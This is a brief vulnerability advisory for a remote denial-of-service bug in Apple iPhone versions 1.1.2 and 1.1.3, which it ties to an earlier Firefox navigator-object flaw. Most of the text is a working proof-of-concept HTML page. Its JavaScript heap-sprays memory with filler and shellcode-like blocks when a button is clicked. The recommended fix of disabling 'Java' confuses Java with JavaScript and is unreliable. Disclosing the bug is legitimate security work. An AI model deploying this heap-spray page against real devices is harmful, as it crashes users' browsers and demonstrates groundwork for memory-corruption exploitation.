Vendor: Apple Version affected: 1.1.2 and 1.1.3 Overview:The Apple iPhone remote DoS for 1.1.2 was discovered by c0ntex, but it actually works on 1.1.3 as well. After further research it also appears that this was a known issue with Firefox version 1.5.04 and was effected cross-platform. Called Mozilla Firefox JavaScript navigator Object Vulnerability.I recommend you disable Java until Apple releases a fix or patch. ___________________________________ Proof of Concept (PoC): <html><body><script> function Demo() { var shellcode; var addr; var fill; alert('attempting a crash!'); shellcode = unescape('%u0c0c'); fill = unescape('%ucccc'); addr = 0x02020202; var b = fill; while (b.length <= 0x40000) b+=b; var c = new Array(); for (var i =0; i<36; i++) { c[i] = b.substring(0, 0x100000 - shellcode.length) + shellcode + b.substring(0, 0x100000 - shellcode.length) + shellcode + b.substring(0, 0x100000 - shellcode.length) + shellcode + b.substring(0, 0x100000 - shellcode.length) + shellcode; } } </script> <input type='button' onClick='Demo()' value='Go!'> </body></html> _________________________________________ Discovered by Joshua Morin
